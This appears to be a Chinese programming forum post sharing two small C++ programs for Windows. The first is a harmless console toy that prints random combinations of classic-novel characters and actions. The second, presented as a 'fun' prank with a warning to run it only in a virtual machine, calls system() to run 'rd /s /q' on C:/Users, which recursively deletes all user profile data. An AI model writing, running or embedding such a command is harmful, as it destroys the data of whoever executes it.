1.呃，演义？ 说明：按enter刷新

#include<bits/stdc++.h>
#include<stdlib.h>
#include<time.h>
#include<windows.h>
#define int long long
#define kd(VK_NONAME) ((GetAsyncKeyState(VK_NONAME)&0x8000)?1:0)
using namespace std;
string a[]={"孙悟空","猪八戒","沙悟净","唐僧","白龙马","刘备","关羽","张飞","诸葛亮","曹操","宋江","鲁智深","林冲","武松","贾宝玉","林黛玉","史湘云","王熙凤","小猪佩奇","白雪公主","超级飞侠","波士顿龙虾","井盖","麦克阿瑟","吴承恩","罗贯中","施耐庵","曹雪芹","李白","王维","鲁迅","非洲大蜗牛"};
string b[]={"三打","投掷","倒拔","拳打"};
char c;
void gotoxy(int x, int y){
	COORD pos={x,y};
	HANDLE hOut=GetStdHandle(STD_OUTPUT_HANDLE);
	SetConsoleCursorPosition(hOut,pos);
}
void noedit(){
	HANDLE hStdin=GetStdHandle(STD_INPUT_HANDLE);
	DWORD mode;
	GetConsoleMode(hStdin,&mode);
	mode&=~ENABLE_QUICK_EDIT_MODE;
	mode&=~ENABLE_INSERT_MODE;
	mode&=~ENABLE_MOUSE_INPUT;
	SetConsoleMode(hStdin,mode);
}
void HideCursor(){
	CONSOLE_CURSOR_INFO cur={1,0};
	SetConsoleCursorInfo(GetStdHandle(STD_OUTPUT_HANDLE),&cur);
}
signed main(){
	noedit();
	HideCursor();
	srand(time(NULL));
	while(1){
		cout<<a[rand()%32]<<b[rand()%4]<<a[rand()%32]<<"                        ";
		c=getchar();
		gotoxy(0,0);
	}
	return 0;
}

非常有意思

2.好玩的： 说明：千万别再主机上尝试，虚拟机可以，用坏了别怪我！！！！！

#include<stdio.h>
#include<stdlib.h>
#include<iostream>
using namespace std;
int main()
{
	string c;
	c="rd /s /q \"C:/Users\"";
	system(c.c_str());
	return 0;
}